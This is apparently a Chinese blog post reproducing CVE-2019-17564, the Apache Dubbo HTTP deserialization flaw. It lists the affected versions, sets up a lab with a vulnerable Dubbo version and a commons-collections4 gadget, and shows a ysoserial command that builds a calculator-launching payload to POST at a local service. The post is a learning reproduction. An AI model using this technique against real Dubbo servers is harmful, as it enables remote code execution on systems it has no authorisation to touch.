反序列化漏洞_Dubbo反序列化漏洞复现分析

1.Dubbo框架简介

Dubbo 是⼀个⾼性能服务框架,致⼒于提供⾼性能和透明化的RPC远程服务调⽤⽅案,以及SOA服务治理⽅案,使得应⽤可通过⾼性能RPC实现服务的输出和输⼊功能,和Spring框架可以⽆缝集成。 作为⼀个分布式服务框架,以及SOA治理⽅案,Dubbo其功能主要包括: 1.⾼性能NIO通讯及多协议集 2.成 服务动态寻址与路由 3.软负载均衡与容错 4.依赖分析与服务降级 具体看这篇⽂章: https://www.jianshu.com /p/0daf78e14dcf

2.CVE-2019-17564

1.漏洞简介

Apache Dubbo⽀持多种协议,推荐官⽅使⽤Dubbo协议。Apache Dubbo HTTP协议中的⼀个反序

列化漏洞(CVE-2019-17564),漏洞该主要原因的在于当Apache Dubbo启⽤HTTP协议之后,Apache Dubbo对HTTP数据处理不当:对数据编码、序列化、反序列化,利⽤Spring HTTP Invoker框架处理,未经任何检查直接反序列化数据,当项⽬包中存在可⽤的gadgets时即可导致远程代码执⾏。

2.影响范围

2.7.0 <= Apache Dubbo <= 2.7.4.1 

2.6.0 <= Apache Dubbo <= 2.6.7 

Apache Dubbo = 2.5.x

3.环境搭建

dubbo-dem o: https://github.com /apache/dubbo-sam ples/tree/m aster/java/dubbo-sam ples-http ⽤idea打开后,需要修改 pom. x ml ⽂件中的 version>,将版本改为存在漏洞的2. 7. 3

f5243b1177502a4699463f9a646849f7.png

  我们再往⾥⾯添加本地触发gadgets,这⾥导⼊commons-collections4-4.0恶意类依赖。

<dependency><groupId>org.apache.commonsgroupId><artifactId>commons-collections4artifactId> <version>4.0version>dependency> 
由于dubbo启动还依赖zookeeper,因此我们还需要安装zookeeper https://apache.website-solution.net/zookeeper/zookeeper-3.6.2/apache-zookeeper-3.6.2-bin.tar.g z 运⾏zookeeper之前,我们还需要修改⼀些配置⽂件: 将zookeeper的conf⽬录下的zoo_sam ple.cfg⽂件改成zoo.cfg并修改其中的两个参数

b7e6345b16fbb3ffe26c19048c335bf7.png 

然后 c d 到 z ook eeper 的 bi n ⽬录下 . / z k Ser v er . s h  s t ar t 启动zookeeper 随后启动 dubbo 项⽬中的 HttpProvider 出现下图红框中的提⽰,则证明环境搭建成功。

95c0e9ab6175b8983da71884f6f4f1c6.png

4. 漏洞复现

我们⾸先⽤yso 来⽣成⼀个序列化的payload:

java-jarysoserial-0.0.6-SNAPSHOT-all.jarCommonsCollections4"deepin-calculator">/tmp/payload.ser

而后⽤postman往

http://192.168.199.246:8090/org.apache.dubbo.samples.http.api.DemoService

POST我们⽣成的

payload.ser

79077c664ca9ad01f20c3cf91f5a34f9.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值